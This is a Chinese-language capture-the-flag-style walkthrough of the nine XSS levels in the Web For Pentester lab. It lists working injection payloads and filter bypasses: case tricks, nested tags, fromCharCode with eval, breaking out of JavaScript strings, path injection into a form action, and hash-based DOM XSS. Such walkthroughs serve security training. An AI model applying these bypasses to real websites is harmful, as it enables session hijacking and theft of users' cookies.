Pentester中的XSS詳解


本次做的是Web For Pentester靶機里面的XSS題目,一共有9道題目。
關於靶機搭建參考這篇文章:滲透測試靶機的搭建

第1題(無過濾措施)

首先在后面輸入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下頁面:
image
然后查看下源碼:
image
感覺這里沒有任何的防御措施,忍不住笑出了聲。
image
有很多的標簽里面都可以調用HTML的事件屬性來彈窗,為了節約時間,下面我就列舉出一些比較常用的手法。

利用基本的script標簽來彈窗

Payload

<script>alert('xss')</script> 

定義和用法

script 標簽用於定義客戶端腳本,比如 JavaScript。

效果圖

image

利用iframe標簽的的src屬性來彈窗

Payload

<iframe src=javascript:alert('xss')></iframe>

定義和用法

iframe 元素會創建包含另外一個文檔的內聯框架(即行內框架)。

效果圖

image

利用標簽的href屬性來彈窗

Payload

<a href=javascript:alert('xss')>ggtest</a>

這里就是超鏈接到了:javascript:alert('xss')
效果和瀏覽器直接打開這個地址:javascript:alert('xss')是一樣的
這里還可以使用:javascript:alert(document.cookie) 來彈出當前會話的cookie
image

定義和用法

標簽定義超鏈接,用於從一張頁面鏈接到另一張頁面。
元素最重要的屬性是 href 屬性,它指示鏈接的目標。
指向國光博客的一個例子:

<a href="http://git.sqlsec.com”>國光博客</a> 

效果圖

image

利用標簽來彈窗

Payload

<img src=1 onerror=alert('xss')>  

這里的src后面是填寫的 是 圖片的地址,為了 測試簡便 這個地址里面我們一般隨便填寫,比如這里我們填寫的就是 1,因為1不是一個正確的值,所以 觸發了后面的 onerror事件(遇到錯誤 就觸發)
image
當然如果在src里面填寫一個正常的URL的話,就不會彈窗的了,因為onerror的觸發條件是得報錯。
image
src后面的值是正確的時候呢,這個還可以用 oneclick事件來觸發彈窗

<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>  

這里不論src后面的值 是否正確,只要鼠標點擊,就會觸發 彈窗事件。
image
類似onerror和onclick的時間有很多種下面

列舉出常見的事件

Windows事件屬性

事件 作用
onerror 在錯誤發生時運行的腳本
onload 頁面結束加載之后觸發

Keyboard 事件

事件 作用
onkeydown 在用戶按下按鍵時觸發
onkeypress 在用戶敲擊按鈕時觸發
onkeyup 當用戶釋放按鍵時觸發

鼠標(Mouse)事件

事件 作用
onclick 元素上發生鼠標點擊時觸發
onmousedown 當元素上按下鼠標按鈕時觸發
onmousemove 當鼠標指針移動到元素上時觸發。
onmouseover 當鼠標指針移動到元素上時觸
onmouseout 當鼠標指針移出元素時觸發
onmouseup 當在元素上釋放鼠標按鈕時觸發

定義和用法

img 元素向網頁中嵌入一幅圖像。
請注意,從技術上講, 標簽並不會在網頁中插入圖像,而是從網頁上鏈接圖像。 標簽創建的是被引用圖像的占位空間。
標簽有兩個必需的屬性:src 屬性 和 alt 屬性

凡是支持事件的HTML標簽都是可以彈窗的,在HTML中支持事件屬性的標簽很多,下面我就

列舉出一些支持事件的HTML常見標簽

標簽 作用
a 定義超鏈接,用於從一張頁面鏈接到另一張頁面,最重要的屬性是 href 屬性,它指示鏈接的目標
article 規定獨立的自包含內容一篇文章應有其自身的意義,應該有可能獨立於站點的其余部分對其進行分發
audio 定義聲音,比如音樂或其他音頻流
b 規定粗體文本
body 定義文檔的主體,包含文檔的所有內容
br 只是簡單地開始新的一行
button 定義一個按鈕
iframe 會創建包含另外一個文檔的內聯框架
img 向網頁中嵌入一幅圖像
select 可創建單選或多選菜單
style 用於為 HTML 文檔定義樣式信息
textarea 標簽定義多行的文本輸入控件
video 定義視頻,比如電影片段或其他視頻流

第一題因為沒有任何的過濾,所以理論上支持調用HTML事件屬性的標簽都是可以成功彈窗的,下面來個

綜合點的payload

http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通過按鈕點擊觸發xss</button> <font size="4" color="blue" onmouseover=alert('xss')>  移動到元素觸發xss  </font> <br> 
<select> <option onclick=alert('x')>onclick點擊觸發事件</option> <option values=1 onmousedown=alert('ss')>onmousedown觸發</option></select> <a href=javascript:alert('xss')>利用a標簽的href屬性觸發</a> <br>
<textarea placeholder=國光的xss測試:鍵盤按鍵觸發xss onkeypress=alert('xss')></textarea>

image

第2題(大小寫轉換)

這一題的話, 除了<script>alert('xss')</script>這個payload,其他用第一題中的其他payload:

<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...

依然還是可以的,好吧,為了不這么容易做完這道題目,我們來下面的題目都盡量使用<script>alert('xss')</script>來試試看
image
查看下源碼:
image
這里我們猜測過濾<script></script>
然后這里嘗試下大小寫轉換,嘗試着繞過過濾:

<Script>alert('xss')</scripT>

可以看到成功繞過了:
image

第3題(嵌套構造)

直接輸入

<Script>alert('xss')</scripT>

發現大小寫轉換的這個套路已經不能夠使用了
image
得到結論是:沒有過濾alert('xss'),現在就把注意力集中在 <script></script>
Fuzz測試一下,看看具體過濾了哪些字符?然后再想辦法繞過。

http://10.211.55.16/xss/example3.php?name=<></>script<script>

image
可以看出過濾了:</script><script>
嘗試構造輸入:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

image
查看源碼后發現成功構造出

<script> 

於是判斷這里只顧慮了一次,接着嘗試構造如下完整的payload:

http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

image

第4題(利用標簽繞過)

直接輸入:<script>alert('xss')</script>發現直接 error
於是再次出嘗試輸入:

http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>

image
再次得出結論:沒有過濾<> </> alerrt('xss'),現在主要想辦法對script做個處理來繞過過濾。
然而我各種編碼都沒有繞過,有的編碼的確是繞過了,但是貌似沒有解析腳本 =,=
哎~~~放棄用這種形式的<script>alert('xss')</script>的payload了,於是乎使用下面的<img>標簽成功繞過:

<img src=1 onerror=alert('xss')>

第5題(String.fromCharCode編碼繞過)

首先執行:

<script>alert('xss')</script>

發現直接就 報 error了,於是fuzz測試發現並沒有過濾:<script></script>
只是過濾了:alert
利用火狐瀏覽器的hackbar插件對alert('xss')進行String.fromCharCode轉換:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

image

第6題(閉合標簽)

首先默認查看下源碼:
image
發現我們輸出的hacker作為了一個變量賦值給了a,並且這個變量在<script>這個標簽中
這樣的話,只要能夠突破這個賦值的變量,就可以利用這個<script>這個標簽來彈窗了。
下面想辦法閉合進行fuzz測試......
這里邊看源碼邊做調整。幾次測試后得到如下可以彈窗的payload:

11";</script><img src=1 onerror=alert('xss')><script>

image
來查看下源碼來簡單的分析一下:


Hello 
<script>
	var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
	      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

pauyload最前面的
11";</script> 閉合了前面的<script>標簽
最后面的
<script> 閉合了后面的<script>標簽
中間的

<img src=1 onerror=alert('xss')>

用來觸發 彈窗事件

第7題

首先來查看下源碼:
image
感覺貌似和第6題差不多,於是稍微修改了下使用下面的payload來進行測試:

 hacker';</script><img src=1 onerror=alert('xss')><script>

結果並沒有彈窗,趕緊查看下源碼壓壓驚:
image
可以看到對輸入的 </>符號進行轉義了,導致我們的彈窗失敗。
所以現在的着重點就是 如何處理這些符號:
</>
然而我失敗了,對這些符號進行轉碼也是失敗了,后來想了好久終於知道問題所在了:
受到以前閉合一句話木馬的緣故,我老是想着閉合首尾的標簽
后來仔細想想,這個變量 就在<script>里面,可以在里面直接寫alert('xss')來彈窗的,這樣也就不需要使用
</>特殊符號了。這么看來的話,第6題 也應該這么來做,奇葩的我,居然是閉合的方式來彈窗的....

http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

image
查看下源碼:


Hello 
<script>
	var $a= "name=";alert('xss');var b="";
</script>
	      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

這里 巧妙的利用了 ; 來在<script>標簽里面執行alert('xss')

第8題

是一個輸入框,然后輸入payload:<img src=1 onerror=alert('xss')>;來試試看,查看源碼:

HELLO &lt;img src=1 onerror=alert('xss')&gt;<form action="/xss/example8.php" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

發現也是對 < > 標簽進行轉義了,這里進行各種編碼也沒有繞過。
又是好久也沒有成功突破,最后仔細看源碼,發現突破點在於

<form action="/xss/example8.php"

這是第8題的URL,於是注意力轉移到URL處,嘗試在URL后面添加

http://10.211.55.16/xss/example8.php/

查看源碼:
image
發現我們最后添加的 :/ 寫在了<form>這個標簽中,於是在這里進行fuzz測試,嘗試閉合標簽,最后構造的payload如下:

http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form

來查看下源碼來分析剛剛構造的payload:

<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

可以看到這里
/"閉合了最前面的<form>
<form> 閉合了最后面的/>
中間的
<img src=1 onerror=alert('xss')> 觸發了彈窗事件

第9題

這一題很特殊,不愧是大boss,這里首先查看下源碼:
image
在源碼中完全找不到hacker的任何字樣,於是仔細百度最可疑的地方:

<script>
  document.write(location.hash.substring(1));
</script>

找到一份資料:http://www.runoob.com/jsref/prop-loc-hash.html
這里可以大概看出這里是讀取#后面的東西,於是乎簡單的在#后面構造xss語句:

http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>

最后一道題目了,得錄制個gif來慶祝一下:
image

小結

雖然這個平台只有9道題目,但是用心去整理拓展,發現可以學到很多xss的姿勢,這樣又把以前快忘記的xss姿勢鞏固提高了一下,更好的為不久后挖BAT的XSS漏洞做好基礎知識的准備。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM